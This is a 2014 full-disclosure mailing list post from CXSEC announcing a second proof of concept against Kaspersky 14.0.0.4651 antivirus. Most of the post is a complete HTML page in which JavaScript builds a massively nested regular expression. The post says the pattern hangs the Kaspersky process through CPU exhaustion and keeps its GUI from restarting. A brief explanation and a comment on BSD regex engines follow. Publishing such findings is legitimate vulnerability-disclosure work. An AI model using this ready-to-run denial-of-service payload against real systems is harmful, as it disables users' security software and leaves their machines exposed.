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Kaspersky 14.0.0.4651 RegExp Remote Denial of Service PoC2
From: "[CXSEC]" <submit () cxsec org>
Date: Tue, 18 Mar 2014 23:37:40 +0100

Kaspersky has released updated for first PoC presented here

http://www.youtube.com/watch?v=joa_9IS7U90 (
http://seclists.org/fulldisclosure/2014/Mar/166)

but there are still many combinations of evil patterns. For exmaple next
PoC2 is available here

https://www.youtube.com/watch?v=9PYtL0zck3I

code:
https://devilteam.pl/regex2.html

------
<HTML>
<HEAD>
<TITLE>RegExp Resource Exhaustion </TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF">
<SCRIPT type="text/javascript">
var patt1=new
RegExp("(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+)");
document.write(patt1.exec("peace"));
</SCRIPT>
</BODY>
</HTML>
------

These expression leads to hang up kaspersky process by CPU Exhaustion.
 Making it impossible to shut down and restart Kaspersky GUI.
A weak implementation of RE difficult defense against this type of attack.
In my opinion the most stable implementation of regular expressions is
NetBSD/OpenBSD where the authors have reduced the risk of leakage of
resources by the level of recursion.

References:
http://cxsecurity.com/issue/WLB-2014030108

Best regards,
CXSEC TEAM
http://cxsec.org/
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